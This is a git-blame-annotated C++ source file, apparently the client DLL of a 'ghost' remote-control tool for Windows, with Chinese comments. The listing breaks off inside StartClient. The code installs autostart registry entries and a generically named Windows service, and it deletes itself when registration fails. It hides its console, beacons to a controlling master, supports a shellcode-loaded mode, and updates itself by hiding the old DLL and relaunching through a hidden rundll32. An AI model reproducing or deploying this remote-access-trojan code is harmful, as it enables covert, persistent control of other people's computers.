2025-12-08 14:04:09 +01:00
|
|
|
|
// ClientDll.cpp : Defines the entry point for the DLL application.
|
2019-01-05 20:21:43 +08:00
|
|
|
|
//
|
|
|
|
|
|
|
|
|
|
|
|
#include "stdafx.h"
|
2025-04-15 21:37:01 +08:00
|
|
|
|
#include "ClientDll.h"
|
2025-07-26 14:51:10 +08:00
|
|
|
|
#include <common/iniFile.h>
|
2025-10-06 03:04:24 +08:00
|
|
|
|
extern "C" {
|
|
|
|
|
|
#include "reg_startup.h"
|
2025-11-23 18:13:39 +01:00
|
|
|
|
#include "ServiceWrapper.h"
|
2025-10-06 03:04:24 +08:00
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 自动启动注册表中的值
|
2024-12-28 18:35:34 +08:00
|
|
|
|
#define REG_NAME "a_ghost"
|
|
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 启动的客户端个数
|
2025-04-07 18:18:36 +08:00
|
|
|
|
#define CLIENT_PARALLEL_NUM 1
|
|
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 远程地址
|
2025-06-29 21:25:59 +08:00
|
|
|
|
CONNECT_ADDRESS g_SETTINGS = {
|
2025-10-15 04:32:59 +08:00
|
|
|
|
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
2025-12-14 00:46:36 +01:00
|
|
|
|
FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", 0, {},
|
|
|
|
|
|
0, 0, 7057226198541618915, {},
|
2025-06-29 21:25:59 +08:00
|
|
|
|
};
|
2019-04-15 16:24:32 +08:00
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员.
|
|
|
|
|
|
// 因此全局来看只有一个全局变量: g_MyApp
|
2025-04-15 21:37:01 +08:00
|
|
|
|
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
|
2019-04-15 16:24:32 +08:00
|
|
|
|
|
2025-04-15 21:37:01 +08:00
|
|
|
|
enum { E_RUN, E_STOP, E_EXIT } status;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-04-15 21:37:01 +08:00
|
|
|
|
int ClientApp::m_nCount = 0;
|
2019-01-06 21:18:26 +08:00
|
|
|
|
|
2025-04-15 21:37:01 +08:00
|
|
|
|
CLock ClientApp::m_Locker;
|
2019-01-06 21:18:26 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
BOOL IsProcessExit()
|
|
|
|
|
|
{
|
|
|
|
|
|
return g_MyApp.g_bExit == S_CLIENT_EXIT;
|
2024-12-28 18:35:34 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
BOOL IsSharedRunning(void* thisApp)
|
|
|
|
|
|
{
|
|
|
|
|
|
ClientApp* This = (ClientApp*)thisApp;
|
|
|
|
|
|
return (S_CLIENT_NORMAL == g_MyApp.g_bExit) && (S_CLIENT_NORMAL == This->g_bExit);
|
2024-12-28 18:35:34 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
BOOL IsClientAppRunning(void* thisApp)
|
|
|
|
|
|
{
|
|
|
|
|
|
ClientApp* This = (ClientApp*)thisApp;
|
|
|
|
|
|
return S_CLIENT_NORMAL == This->g_bExit;
|
2019-01-06 21:18:26 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
|
|
|
|
|
|
{
|
|
|
|
|
|
auto v = StringToVector(remoteAddr, ':', 2);
|
|
|
|
|
|
if (v[0].empty() || v[1].empty())
|
|
|
|
|
|
return nullptr;
|
|
|
|
|
|
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
|
|
|
|
|
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
|
|
|
|
|
return a;
|
2025-04-15 21:37:01 +08:00
|
|
|
|
}
|
2025-04-07 18:18:36 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
DWORD WINAPI StartClientApp(LPVOID param)
|
|
|
|
|
|
{
|
|
|
|
|
|
ClientApp::AddCount(1);
|
|
|
|
|
|
ClientApp* app = (ClientApp*)param;
|
|
|
|
|
|
CONNECT_ADDRESS& settings(*(app->g_Connection));
|
|
|
|
|
|
const char* ip = settings.ServerIP();
|
|
|
|
|
|
int port = settings.ServerPort();
|
|
|
|
|
|
State& bExit(app->g_bExit);
|
|
|
|
|
|
if (ip != NULL && port > 0) {
|
|
|
|
|
|
settings.SetServer(ip, port);
|
|
|
|
|
|
}
|
|
|
|
|
|
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
|
2025-11-23 18:13:39 +01:00
|
|
|
|
Mprintf("参数不足: 请提供远程主机IP和端口!\n");
|
2025-10-15 04:32:59 +08:00
|
|
|
|
Sleep(3000);
|
|
|
|
|
|
} else {
|
|
|
|
|
|
app->g_hInstance = GetModuleHandle(NULL);
|
|
|
|
|
|
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
|
|
|
|
|
|
|
|
|
|
|
|
do {
|
|
|
|
|
|
bExit = S_CLIENT_NORMAL;
|
|
|
|
|
|
HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL);
|
|
|
|
|
|
|
|
|
|
|
|
WaitForSingleObject(hThread, INFINITE);
|
|
|
|
|
|
CloseHandle(hThread);
|
|
|
|
|
|
if (IsProcessExit()) // process exit
|
|
|
|
|
|
break;
|
|
|
|
|
|
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
auto r = app->m_ID;
|
|
|
|
|
|
if (app != &g_MyApp) delete app;
|
|
|
|
|
|
ClientApp::AddCount(-1);
|
|
|
|
|
|
|
|
|
|
|
|
return r;
|
2025-04-07 18:18:36 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
2025-11-23 18:13:39 +01:00
|
|
|
|
* @brief 等待多个句柄(支持超过MAXIMUM_WAIT_OBJECTS限制)
|
|
|
|
|
|
* @param handles 句柄数组
|
|
|
|
|
|
* @param waitAll 是否等待所有句柄完成(TRUE=全部, FALSE=任意一个)
|
|
|
|
|
|
* @param timeout 超时时间(毫秒,INFINITE表示无限等待)
|
|
|
|
|
|
* @return 等待结果(WAIT_OBJECT_0成功, WAIT_FAILED失败)
|
2025-04-07 18:18:36 +08:00
|
|
|
|
*/
|
|
|
|
|
|
DWORD WaitForMultipleHandlesEx(
|
2025-10-15 04:32:59 +08:00
|
|
|
|
const std::vector<HANDLE>& handles,
|
|
|
|
|
|
BOOL waitAll = TRUE,
|
|
|
|
|
|
DWORD timeout = INFINITE
|
|
|
|
|
|
)
|
|
|
|
|
|
{
|
2025-11-23 18:13:39 +01:00
|
|
|
|
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // 系统限制(64)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
DWORD totalHandles = static_cast<DWORD>(handles.size());
|
|
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 1. 检查句柄有效性
|
2025-10-15 04:32:59 +08:00
|
|
|
|
for (HANDLE h : handles) {
|
|
|
|
|
|
if (h == NULL || h == INVALID_HANDLE_VALUE) {
|
|
|
|
|
|
SetLastError(ERROR_INVALID_HANDLE);
|
|
|
|
|
|
return WAIT_FAILED;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 2. 如果句柄数≤64,直接调用原生API
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (totalHandles <= MAX_WAIT) {
|
|
|
|
|
|
return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 3. 分批等待逻辑
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (waitAll) {
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 必须等待所有句柄完成
|
2025-10-15 04:32:59 +08:00
|
|
|
|
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
|
|
|
|
|
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
|
|
|
|
|
DWORD result = WaitForMultipleObjects(
|
|
|
|
|
|
batchSize,
|
|
|
|
|
|
&handles[i],
|
2025-11-23 18:13:39 +01:00
|
|
|
|
TRUE, // 必须等待当前批次全部完成
|
2025-10-15 04:32:59 +08:00
|
|
|
|
timeout
|
|
|
|
|
|
);
|
|
|
|
|
|
if (result == WAIT_FAILED) {
|
|
|
|
|
|
return WAIT_FAILED;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
return WAIT_OBJECT_0;
|
|
|
|
|
|
} else {
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 只需等待任意一个句柄完成
|
2025-10-15 04:32:59 +08:00
|
|
|
|
while (true) {
|
|
|
|
|
|
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
|
|
|
|
|
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
|
|
|
|
|
DWORD result = WaitForMultipleObjects(
|
|
|
|
|
|
batchSize,
|
|
|
|
|
|
&handles[i],
|
2025-11-23 18:13:39 +01:00
|
|
|
|
FALSE, // 当前批次任意一个完成即可
|
2025-10-15 04:32:59 +08:00
|
|
|
|
timeout
|
|
|
|
|
|
);
|
|
|
|
|
|
if (result != WAIT_FAILED && result != WAIT_TIMEOUT) {
|
2025-11-23 18:13:39 +01:00
|
|
|
|
return result + i; // 返回全局索引
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
if (timeout != INFINITE) {
|
|
|
|
|
|
return WAIT_TIMEOUT;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
2025-04-07 18:18:36 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-04-15 21:37:01 +08:00
|
|
|
|
#if _CONSOLE
|
|
|
|
|
|
|
2025-08-16 13:22:31 +08:00
|
|
|
|
#include "auto_start.h"
|
2025-04-15 21:37:01 +08:00
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 隐藏控制台
|
|
|
|
|
|
// 参看:https://blog.csdn.net/lijia11080117/article/details/44916647
|
|
|
|
|
|
// step1: 在链接器"高级"设置入口点为mainCRTStartup
|
|
|
|
|
|
// step2: 在链接器"系统"设置系统为窗口
|
|
|
|
|
|
// 完成
|
2025-04-15 21:37:01 +08:00
|
|
|
|
|
|
|
|
|
|
BOOL CALLBACK callback(DWORD CtrlType)
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (CtrlType == CTRL_CLOSE_EVENT) {
|
|
|
|
|
|
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
|
|
|
|
|
while (E_RUN == status)
|
|
|
|
|
|
Sleep(20);
|
|
|
|
|
|
}
|
|
|
|
|
|
return TRUE;
|
2025-04-15 21:37:01 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2019-01-06 21:18:26 +08:00
|
|
|
|
int main(int argc, const char *argv[])
|
|
|
|
|
|
{
|
2025-12-11 11:00:52 +01:00
|
|
|
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
2025-12-12 09:24:36 +01:00
|
|
|
|
InitWindowsService({ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality." }, Log);
|
2025-11-23 18:13:39 +01:00
|
|
|
|
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc;
|
|
|
|
|
|
// 注册启动项
|
2025-12-12 09:24:36 +01:00
|
|
|
|
int r = RegisterStartup("Windows Ghost", "WinGhost", !isService, g_SETTINGS.runasAdmin, Logf);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (r <= 0) {
|
|
|
|
|
|
BOOL s = self_del();
|
2025-12-11 11:00:52 +01:00
|
|
|
|
if (!IsDebug) {
|
2025-12-12 20:33:33 +01:00
|
|
|
|
Mprintf("结束运行.\n");
|
2025-12-21 00:27:40 +01:00
|
|
|
|
Sleep(1000);
|
2025-12-11 11:00:52 +01:00
|
|
|
|
return r;
|
|
|
|
|
|
}
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (!SetSelfStart(argv[0], REG_NAME)) {
|
2025-11-23 18:13:39 +01:00
|
|
|
|
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (isService) {
|
2025-12-02 21:45:43 +01:00
|
|
|
|
bool ret = RunAsWindowsService(argc, argv);
|
|
|
|
|
|
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
|
|
|
|
|
for (int i = 0; !ret && i < argc; i++) {
|
|
|
|
|
|
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
|
|
|
|
|
}
|
2025-12-11 11:00:52 +01:00
|
|
|
|
if (ret) {
|
2025-12-12 20:33:33 +01:00
|
|
|
|
Mprintf("结束运行.\n");
|
2025-12-11 11:00:52 +01:00
|
|
|
|
Sleep(1000);
|
|
|
|
|
|
return 0x20251123;
|
|
|
|
|
|
}
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
status = E_RUN;
|
|
|
|
|
|
|
2025-12-22 10:52:38 +01:00
|
|
|
|
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, GetExeHashStr().c_str());
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (ERROR_ALREADY_EXISTS == GetLastError()) {
|
|
|
|
|
|
CloseHandle(hMutex);
|
2025-11-04 00:15:35 +08:00
|
|
|
|
hMutex = NULL;
|
2025-10-25 16:13:18 +08:00
|
|
|
|
#ifndef _DEBUG
|
2025-12-12 20:33:33 +01:00
|
|
|
|
Mprintf("结束运行.\n");
|
2025-12-11 11:00:52 +01:00
|
|
|
|
Sleep(1000);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return -2;
|
2025-10-25 16:13:18 +08:00
|
|
|
|
#endif
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
SetConsoleCtrlHandler(&callback, TRUE);
|
2025-12-08 14:04:09 +01:00
|
|
|
|
const char* ip = (argc > 1 && argv[1][0] != '-') ? argv[1] : NULL;
|
2025-11-23 18:13:39 +01:00
|
|
|
|
int port = argc > 2 ? atoi(argv[2]) : 6543;
|
2025-10-15 04:32:59 +08:00
|
|
|
|
ClientApp& app(g_MyApp);
|
|
|
|
|
|
app.g_Connection->SetType(CLIENT_TYPE_ONE);
|
|
|
|
|
|
app.g_Connection->SetServer(ip, port);
|
2025-10-25 16:13:18 +08:00
|
|
|
|
#ifdef _DEBUG
|
|
|
|
|
|
g_SETTINGS.SetServer(ip, port);
|
|
|
|
|
|
#endif
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (CLIENT_PARALLEL_NUM == 1) {
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 启动单个客户端
|
2025-10-15 04:32:59 +08:00
|
|
|
|
StartClientApp(&app);
|
|
|
|
|
|
} else {
|
|
|
|
|
|
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
|
|
|
|
|
|
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
|
|
|
|
|
|
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
|
|
|
|
|
|
handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
|
|
|
|
|
|
if (handles[i] == 0) {
|
2025-11-23 18:13:39 +01:00
|
|
|
|
Mprintf("线程 %d 创建失败,错误: %d\n", i, errno);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE);
|
|
|
|
|
|
if (result == WAIT_FAILED) {
|
2025-11-23 18:13:39 +01:00
|
|
|
|
Mprintf("WaitForMultipleObjects 失败,错误代码: %d\n", GetLastError());
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
ClientApp::Wait();
|
|
|
|
|
|
status = E_STOP;
|
|
|
|
|
|
|
|
|
|
|
|
CloseHandle(hMutex);
|
2025-12-12 20:33:33 +01:00
|
|
|
|
Mprintf("结束运行.\n");
|
2025-10-15 04:32:59 +08:00
|
|
|
|
Logger::getInstance().stop();
|
|
|
|
|
|
|
|
|
|
|
|
return 0;
|
2019-01-06 21:18:26 +08:00
|
|
|
|
}
|
|
|
|
|
|
#else
|
|
|
|
|
|
|
2025-04-24 03:01:40 +08:00
|
|
|
|
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
|
|
|
|
|
|
|
|
|
|
|
|
// Auto run main thread after load the DLL
|
2025-10-15 04:32:59 +08:00
|
|
|
|
DWORD WINAPI AutoRun(LPVOID param)
|
|
|
|
|
|
{
|
|
|
|
|
|
do {
|
|
|
|
|
|
TestRun(NULL, 0);
|
|
|
|
|
|
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
|
|
|
|
|
|
|
|
|
|
|
|
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
|
|
|
|
|
|
HMODULE hInstance = (HMODULE)param;
|
|
|
|
|
|
FreeLibraryAndExitThread(hInstance, -1);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
return 0;
|
2025-04-24 03:01:40 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
|
|
|
|
|
DWORD ul_reason_for_call,
|
|
|
|
|
|
LPVOID lpReserved
|
|
|
|
|
|
)
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
switch (ul_reason_for_call) {
|
|
|
|
|
|
case DLL_PROCESS_ATTACH: {
|
|
|
|
|
|
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
|
|
|
|
|
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
case DLL_PROCESS_DETACH:
|
|
|
|
|
|
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
return TRUE;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 启动运行一个ghost
|
2019-01-05 20:21:43 +08:00
|
|
|
|
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
ClientApp& app(g_MyApp);
|
|
|
|
|
|
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
|
|
|
|
|
if (app.IsThreadRun()) {
|
|
|
|
|
|
settings.SetServer(szServerIP, uPort);
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
|
|
app.SetThreadRun(TRUE);
|
|
|
|
|
|
app.SetProcessState(S_CLIENT_NORMAL);
|
|
|
|
|
|
settings.SetServer(szServerIP, uPort);
|
|
|
|
|
|
|
|
|
|
|
|
HANDLE hThread = __CreateThread(NULL,0,StartClient, &app,0,NULL);
|
|
|
|
|
|
if (hThread == NULL) {
|
|
|
|
|
|
app.SetThreadRun(FALSE);
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
#ifdef _DEBUG
|
2025-10-15 04:32:59 +08:00
|
|
|
|
WaitForSingleObject(hThread, INFINITE);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
#else
|
2025-10-15 04:32:59 +08:00
|
|
|
|
WaitForSingleObject(hThread, INFINITE);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
#endif
|
2025-10-15 04:32:59 +08:00
|
|
|
|
CloseHandle(hThread);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 停止运行
|
2025-10-15 04:32:59 +08:00
|
|
|
|
extern "C" __declspec(dllexport) void StopRun()
|
|
|
|
|
|
{
|
|
|
|
|
|
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
|
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 是否成功停止
|
2025-10-15 04:32:59 +08:00
|
|
|
|
extern "C" __declspec(dllexport) bool IsStoped()
|
|
|
|
|
|
{
|
|
|
|
|
|
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
|
|
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 是否退出客户端
|
2025-10-15 04:32:59 +08:00
|
|
|
|
extern "C" __declspec(dllexport) BOOL IsExit()
|
|
|
|
|
|
{
|
|
|
|
|
|
return g_MyApp.g_bExit;
|
|
|
|
|
|
}
|
2025-04-07 18:18:36 +08:00
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 简单运行此程序,无需任何参数
|
2025-10-15 04:32:59 +08:00
|
|
|
|
extern "C" __declspec(dllexport) int EasyRun()
|
|
|
|
|
|
{
|
|
|
|
|
|
ClientApp& app(g_MyApp);
|
|
|
|
|
|
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
|
|
|
|
|
|
|
|
|
|
|
do {
|
|
|
|
|
|
TestRun((char*)settings.ServerIP(), settings.ServerPort());
|
|
|
|
|
|
while (!IsStoped())
|
|
|
|
|
|
Sleep(50);
|
2025-11-23 18:13:39 +01:00
|
|
|
|
if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出
|
2025-10-15 04:32:59 +08:00
|
|
|
|
break;
|
|
|
|
|
|
else if (S_SERVER_EXIT == app.g_bExit)
|
|
|
|
|
|
continue;
|
2025-11-23 18:13:39 +01:00
|
|
|
|
else // S_CLIENT_UPDATE: 程序更新
|
2025-10-15 04:32:59 +08:00
|
|
|
|
break;
|
|
|
|
|
|
} while (true);
|
|
|
|
|
|
|
|
|
|
|
|
return app.g_bExit;
|
2025-04-07 18:18:36 +08:00
|
|
|
|
}
|
2019-04-15 16:24:32 +08:00
|
|
|
|
|
2024-12-29 20:47:14 +08:00
|
|
|
|
// copy from: SimpleRemoter\client\test.cpp
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 启用新的DLL
|
2025-10-15 04:32:59 +08:00
|
|
|
|
void RunNewDll(const char* cmdLine)
|
|
|
|
|
|
{
|
|
|
|
|
|
char path[_MAX_PATH], * p = path;
|
|
|
|
|
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
|
|
|
|
|
while (*p) ++p;
|
|
|
|
|
|
while ('\\' != *p) --p;
|
|
|
|
|
|
*(p + 1) = 0;
|
|
|
|
|
|
std::string folder = path;
|
|
|
|
|
|
std::string oldFile = folder + "ServerDll.old";
|
|
|
|
|
|
std::string newFile = folder + "ServerDll.new";
|
|
|
|
|
|
strcpy(p + 1, "ServerDll.dll");
|
|
|
|
|
|
BOOL ok = TRUE;
|
|
|
|
|
|
if (_access(newFile.c_str(), 0) != -1) {
|
|
|
|
|
|
if (_access(oldFile.c_str(), 0) != -1) {
|
|
|
|
|
|
if (!DeleteFileA(oldFile.c_str())) {
|
|
|
|
|
|
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
|
|
|
|
|
ok = FALSE;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
|
|
|
|
|
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
|
|
|
|
|
if (_access(path, 0) != -1) {
|
|
|
|
|
|
ok = FALSE;
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
2025-11-23 18:13:39 +01:00
|
|
|
|
// 设置文件属性为隐藏
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) {
|
|
|
|
|
|
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
|
|
|
|
|
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
|
|
|
|
|
MoveFileA(oldFile.c_str(), path);// recover
|
|
|
|
|
|
} else if (ok) {
|
|
|
|
|
|
Mprintf("Using new file: %s\n", newFile.c_str());
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
char cmd[1024];
|
|
|
|
|
|
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
|
|
|
|
|
|
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
|
2024-12-29 20:47:14 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-11-23 18:13:39 +01:00
|
|
|
|
/* 运行客户端的核心代码. 此为定义导出函数, 满足 rundll32 调用约定.
|
|
|
|
|
|
HWND hwnd: 父窗口句柄(通常为 NULL)。
|
|
|
|
|
|
HINSTANCE hinst: DLL 的实例句柄。
|
|
|
|
|
|
LPSTR lpszCmdLine: 命令行参数,作为字符串传递给函数。
|
|
|
|
|
|
int nCmdShow: 窗口显示状态。
|
|
|
|
|
|
运行命令:rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
|
|
|
|
|
|
优先从命令行参数中读取主机地址,如果不指定主机就从全局变量读取。
|
2024-12-29 20:47:14 +08:00
|
|
|
|
*/
|
2025-10-15 04:32:59 +08:00
|
|
|
|
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
|
|
|
|
|
|
{
|
|
|
|
|
|
ClientApp& app(g_MyApp);
|
|
|
|
|
|
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
|
|
|
|
|
State& bExit(app.g_bExit);
|
|
|
|
|
|
char message[256] = { 0 };
|
|
|
|
|
|
if (strlen(lpszCmdLine) != 0) {
|
|
|
|
|
|
strcpy_s(message, lpszCmdLine);
|
|
|
|
|
|
} else if (settings.IsValid()) {
|
|
|
|
|
|
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
std::istringstream stream(message);
|
|
|
|
|
|
std::string item;
|
|
|
|
|
|
std::vector<std::string> result;
|
|
|
|
|
|
while (std::getline(stream, item, ':')) {
|
|
|
|
|
|
result.push_back(item);
|
|
|
|
|
|
}
|
|
|
|
|
|
if (result.size() == 1) {
|
|
|
|
|
|
result.push_back("80");
|
|
|
|
|
|
}
|
|
|
|
|
|
if (result.size() != 2) {
|
2025-11-23 18:13:39 +01:00
|
|
|
|
MessageBox(hwnd, "请提供正确的主机地址!", "提示", MB_OK);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
do {
|
|
|
|
|
|
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
|
|
|
|
|
while (!IsStoped())
|
|
|
|
|
|
Sleep(20);
|
|
|
|
|
|
if (bExit == S_CLIENT_EXIT)
|
|
|
|
|
|
return;
|
|
|
|
|
|
else if (bExit == S_SERVER_EXIT)
|
|
|
|
|
|
continue;
|
|
|
|
|
|
else // S_CLIENT_UPDATE
|
|
|
|
|
|
break;
|
|
|
|
|
|
} while (true);
|
|
|
|
|
|
|
|
|
|
|
|
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
|
|
|
|
|
RunNewDll(message);
|
2024-12-29 20:47:14 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2019-01-06 21:18:26 +08:00
|
|
|
|
#endif
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
|
|
|
|
|
DWORD WINAPI StartClient(LPVOID lParam)
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
Mprintf("StartClient begin\n");
|
|
|
|
|
|
ClientApp& app(*(ClientApp*)lParam);
|
|
|
|
|
|
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
|
|
|
|
|
if (!app.m_bShared) {
|
|
|
|
|
|
iniFile cfg(CLIENT_PATH);
|
|
|
|
|
|
auto now = time(0);
|
|
|
|
|
|
auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
|
|
|
|
|
if (now <= valid_to) {
|
|
|
|
|
|
auto saved_ip = cfg.GetStr("settings", "master");
|
|
|
|
|
|
auto saved_port = cfg.GetInt("settings", "port");
|
|
|
|
|
|
settings.SetServer(saved_ip.c_str(), saved_port);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
auto list = app.GetSharedMasterList();
|
|
|
|
|
|
